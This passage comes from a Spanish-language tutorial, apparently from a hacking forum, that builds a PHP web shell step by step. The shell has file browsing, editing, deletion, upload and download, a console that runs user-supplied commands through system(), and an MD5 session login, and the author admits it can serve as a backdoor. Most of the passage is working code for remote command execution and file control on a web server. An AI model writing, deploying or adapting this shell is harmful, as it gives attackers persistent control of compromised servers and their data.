<input type=\"submit\" value=\"Yes\"></form>
<form action=\"".$_SERVER["PHP_SELF"]."\" method=\"GET\">
<input tabindex=\"0\" type=\"submit\" value=\"NO!\"></form>";
}
break;
}
case 'rename':{
if(!empty($_GET["form"])){
$return = @rename($_GET["file"], $_GET["newname"]);
if ($return) {
echo 'Renombrado:<br><br>de '.$_GET["file"].' a '.$_GET["newname"];
}
}else{
echo '
<h4>Archivo a renombrar: '.$_GET["file"].'</h4>
<form action="'.$_SERVER["PHP_SELF"].'" method="get">
<input type="hidden" name="op" value=rename>
<input type="hidden" name="form" value="true">
<input type="hidden" name="file" value="'.$_GET["file"].'">
<input type="text" name="newname">
<input type="submit" value="Renombrar">
</form>
';
}
break;
}
case 'exec':{
echo system('$_GET["file"]');
break;
}
case 'upload':{
echo '
<h4>Introducir el archivo a subir</h4>
<form action="'.$_SERVER["PHP_SELF"].'" method="POST" enctype="multipart/form-data">
<input type="hidden" name="upload" value=upload>
<input type="file" name="archivo" id="archivo">
<input type="submit" value="Subir archivo">
</form>
';

break;
}
case 'download':{
$downloadfile = urldecode($_GET["file"]);
if (function_exists("basename")){
$downloadto = basename ($downloadfile);
}else{
$downloadto = "download.ext";
}
if (!file_exists("$downloadfile")){
echo "El archivo no existe";
}else {
$size = @filesize("$downloadfile");
if ($size != false) {
$add="; size=$size";
}
else {
$add="";
}
header("Content-Type: application/download");
header("Content-Disposition: attachment; filename=$downloadto$add");
$fp=fopen("$downloadfile" ,"rb");
fpassthru($fp);
flush();
}
break;
}
case 'edit':{
$contents = "";
$fc = @file( $_GET["file"] );
while ( @list( $ln, $line ) = each( $fc ) ) {
$contents .= htmlentities( $line ) ;
}
echo "<br><center><table><tr><td NOWRAP>";
echo "<form action=\"".$_SERVER['SCRIPT_NAME']."\" method=\"GET\">\n";
echo "<input type=\"hidden\" name=\"op\" value=\"guardar\">\n";
echo "<strong>ARCHIVO A EDITAR: </strong>".$_GET["file"]."<br>\n";
echo "<textarea rows=\"25\" cols=\"95\" name=\"contents\">$contents</textarea><br>\n";
echo "<input size=\"50\" type=\"text\" name=\"file\" value=\"".$_GET["file"]."\">\n";
echo "<input type=\"submit\" value=\"Guardar\">";
echo "</form>";
echo "</td></tr></table></center>";
break;
}
case 'guardar':{
$fo = fopen($_GET["file"], "w");
$wrret = fwrite($fo, stripslashes($_GET["contents"]));
$clret = fclose($fo);
if($wrret){echo '<h3>El archivo se edito satisfactoriamente</h3>';}
break;
}
case 'view':{
$fc = @file( $_GET["file"] ); while ( @list( $ln, $line ) = each( $fc ) ) {
echo parse(@htmlentities($line))."<br>\n";
}
break;
}
default:{
$dir=opendir('.');
while($archivo=readdir($dir)){
echo '<a href='.$_SERVER["PHP_SELF"].'?op=view&file='.$archivo.'>'.$archivo.'</a>&nbsp;
<A href='.$_SERVER["PHP_SELF"].'?op=edit&file='.$archivo.'>[editar]</a>
<A href='.$_SERVER["PHP_SELF"].'?op=rename&file='.$archivo.'>[renombrar]</a>
<A href='.$_SERVER["PHP_SELF"].'?op=del&file='.$archivo.'>[eliminar]</a>
<A href='.$_SERVER["PHP_SELF"].'?op=download&file='.$archivo.'>[descargar]</a>
';
if ( @is_executable("$archivo") ){echo '<a href="'.$_SERVER["PHP_SELF"].'?op=exec&file='.$archivo.'">[ejecutar]</a>';}
echo '<br>';
}
}
}
function parse($instruccion) { return str_replace(" ", "&nbsp;", $instruccion); }
?>

Modificamos un poco el flujo del programa para poder utilizar el array $_POST y poder realizar la subida del archivo con la funcion copy() y la matriz $_FILES, las otras opciones no tienen mucha complicacion ya que para eliminar se utiliza la funcion unlink(), para renombrar la funcion rename(), para ejecutar archivos la funcion system(), quizas donde haya un poco de duda seria en la opcion de descarga, como bien se sabe los archivos compilados o codificados en binario no pueden ser visualizados por el navegador lo cual provoca su descarga inmediata, pero los archivos que tienen texto plano o pueden ser leidos por el navegador los interpreta y no permite su descarga, para poder descargar archivos como php, html, pl, imagenes, es necesario modificar las cabezeras de peticion al navegador y de esta forma es posible descargar ese tipo de archivos, para realizar esto se utiliza la funcion header() y en los parametros los datos del archivos a descargar.

Bien, despues de haber estado jugando con archivos, ahora nos preguntamos y los directorios?, pues bien empezaremos a manejar directorios, cambiar el directorio actual, renombrarlos y crearlos, todas las opciones que se puedan usar en directorios.

Hay que recordar que tenemos que tener en mente en todo momento el directorio en donde estamos situados por si quisieramos crear un archivo ahi o renombrarlo o alguna otra caracteristica mas, ya que si no lo tomamos en cuenta todos los cambios que realicemos se efectuaran en el directorio donde se encuentre nuestro script en php.

case 'rendir':{
if(!empty($_GET["form"])){
$return = @rename($_GET["dir"], $_GET["newname"]);
if ($return) {
echo 'Renombrado:<br><br>de '.$_GET["dir"].' a '.$_GET["newname"];
}
}else{
echo '
<h4>Directorio a renombrar: '.$_GET["dir"].'</h4>
<form action="'.$_SERVER["PHP_SELF"].'" method="get">
<input type="hidden" name="op" value=rename>
<input type="hidden" name="form" value="true">
<input type="hidden" name="file" value="'.$_GET["dir"].'">
<input type="text" name="newname">
<input type="submit" value="Renombrar">
</form>
';
}
break;
}
case 'deldir':{
if (is_dir($_GET["dir"])) {
$Fh=@opendir($_GET["dir"]);
while ($Fbuf = readdir($Fh))
if (($Fbuf != ".") && ($Fbuf != "..")) @closedir($Fh);
if(rmdir($_GET["dir"])) echo 'Directorio removido satisfactoriamente';
}else {
unlink($_GET["dir"]);
}
break;
}
default:{

if(isset($_GET["dir"])){
$pwd.=$_GET["dir"].'/';
$dir=opendir($_GET["dir"]);
}else{
$dir=opendir('.');
}
while($archivo=readdir($dir)){
$path='./'.$pwd.$archivo;
if (is_dir("$path")) {
echo '<a href="'.$_SERVER["PHP_SELF"].'?dir='.$path.'">'.$archivo.'</a>';
if ( ($archivo != ".") && ($archivo != "..") ){
echo '<a href="'.$_SERVER["PHP_SELF"].'?op=rendir&dir='.$path.'">[renombrar]</a>';
echo '<a href="'.$_SERVER["PHP_SELF"].'?op=deldir&dir='.$path.'">[eliminar]</a>';
}
echo '<br>';
}else{
echo '<a href='.$_SERVER["PHP_SELF"].'?op=view&file='.$pwd.$archivo.'>'.$archivo.'</a>&nbsp;
<A href='.$_SERVER["PHP_SELF"].'?op=edit&file='.$pwd.$archivo.'>[editar]</a>
<A href='.$_SERVER["PHP_SELF"].'?op=rename&file='.$pwd.$archivo.'>[renombrar]</a>
<A href='.$_SERVER["PHP_SELF"].'?op=del&file='.$pwd.$archivo.'>[eliminar]</a>
<A href='.$_SERVER["PHP_SELF"].'?op=download&file='.$pwd.$archivo.'>[descargar]</a>
';
if ( @is_executable("$archivo") ){echo '<a href="'.$_SERVER["PHP_SELF"].'?op=exec&file='.$archivo.'">[ejecutar]</a>';}
echo '<br>';
}
}
}


He agregado dos nuevos case's para que sean las opciones de los directorios y mediante la funcion is_dir() podemos realizar acciones distantas que las mismas para los archivos de esta forma separamos los conceptos y los manipulamos de formas distintas, la opcion de renombrar es practicamente la misma que con archivos, pero hay que recordar que eliminar directorios (rmdir()) esto implica que el directorio debe de estar vacio y que debe pertenecer al usuario mediante el cual se esta ejecutando nuestra shell de lo contrario nos mostrara un Permission denied y eso no nos gustara nada.

Probablemente nuestra shell no tenga un aspecto muy atractivo y poco amigable a la vista, eso lo vamos a corregir con un poco de CSS y unas cuantas tablas, vamos a ver... :P

<style type=text/css>
BODY { font-family: Verdana, Tahoma, Arial, sans-serif;font-size: 12px;
margin: 0px;padding: 0px;color: #fff;background-color: #242629;}
TABLE{

width: 700px;
}

TR, TD { font-family: Verdana, Tahoma, Arial, sans-serif;font-size: 12px;color: #e7e7eb;}
#fila:hover{
background-color: #808080;
}
a{
color: #fff;
}

input,textarea,select
{background: #44474f;
border: 1px solid #242629;
color: #e7e7eb;
font-family: verdana, helvetica, sans-serif;
font-size: 11px;
margin: 5px;
padding: 2px;
vertical-align: middle;}
</style>

Tras unos cambios aqui y por alla, he logrado un resultado mas que respetable, pero ahora nos faltan dos cosas para que nuestra phpshell sea utilizable, la primera que es debe de disponer de una consola por interfaz web y la segunda es que debe tener un sistema de autentificacion porque no queremos que cualquiera utilice nuestra shell, bien, entonces empecemos a trabajar con la consola.

En php existe una funcion llamada system() que es utilizada para enviar peticiones al sistema, como bien ya lo dije arriva cuando se ejecuta un archivo, ahora con un poco de ayuda de un formulario podremos introducir comandos al sistema sin ningun problema.

Realizamos un nuevo case para la consola:

case 'console':{
echo '
<form action="'.$_SERVER["PHP_SELF"].'" method=GET>
CMD:/><input type=hidden name=op value=console>
<input type=text name=cmd size=51>
<textarea cols=100 rows=20>';
if(isset($_GET[cmd])){
echo system($_GET[cmd]);
}else{
echo 'RUlezz';
}
echo '</textarea>
</form>
';
break;
}

Y atravez de este podremos introducir los comandos al sistema anfitrion, ahora veremos la autentificacion, existen diferentes formas de autentificacion, ninguna de ellas es completamente segura, lo mejor seria cifrar todo y que nadie lo vea, pero no vamos a llegar a tal extremo, pero para este caso las cookies no nos pueden ayudar mucho, aparte de que nunca me han agradado.

Utilizaremos variables de sesion, ya que a mi consideracion es un sistema de autentificacion un poco mas seguro y mas facil de manejar que las cookies.

session_start();
$username='a14129b2ecefc99b2df6677938fdfb45'; //pwneds
$password='a14129b2ecefc99b2df6677938fdfb45'; //pwneds
if(isset($_POST["autentificacion"])){
$user=md5($_POST["user"]);
$pass=md5($_POST["pass"]);
if($user===$username && $pass===$password){
$_SESSION["auth"]=true;
}
}
if($_GET["auth"]=='logout'){
session_unset();
session_destroy();
}
if($_SESSION["auth"]==true){

[CODIGO COMPLETO]

}else{
echo
'
<p>
&nbsp;
</p>
<center>
<h2>PHPSHELL LOGIN</h2><b>
<form action="'.$_SERVER["PHP_SELF"].'" METHOD="POST">
<INPUT TYPE=hidden name=autentificacion value=true>
User:<input type=text name=user><br><br>
Pass<input type=password name=pass><br>
<input type=submit value=Auth></B>
</FORM>
</center>
';
}

La verdad la autentificacion es un queso, pero al menos la complicamos un poco, por cierto pueden generar sus propias cuentas utilizando la funcion md5()

<?php
if(!isset($_GET["string"])){
echo '
<form action=md5.php method=get>
<input type=text name=string>
<input type=submit value=ss>
</form>
';
}else{
echo md5($_GET["string"]);
}
?>

Bueno, creo que hemos llegado al final de este texto, solo me queda decir que esta phpshell se puede mejorar y mucho solo es cuestion de tener un poco mas de imaginacion y practica en php, incluso se puede optimizar de mejor forma utilizando clases y objetos, solo espero que la disfruten como administrador de archivos y no como puerta trasera que se puede llegar a utilizar, bueno ya no me lio mas y me despido.

Pwneds forever!!! =)
Codigo PHP: PHPSHELL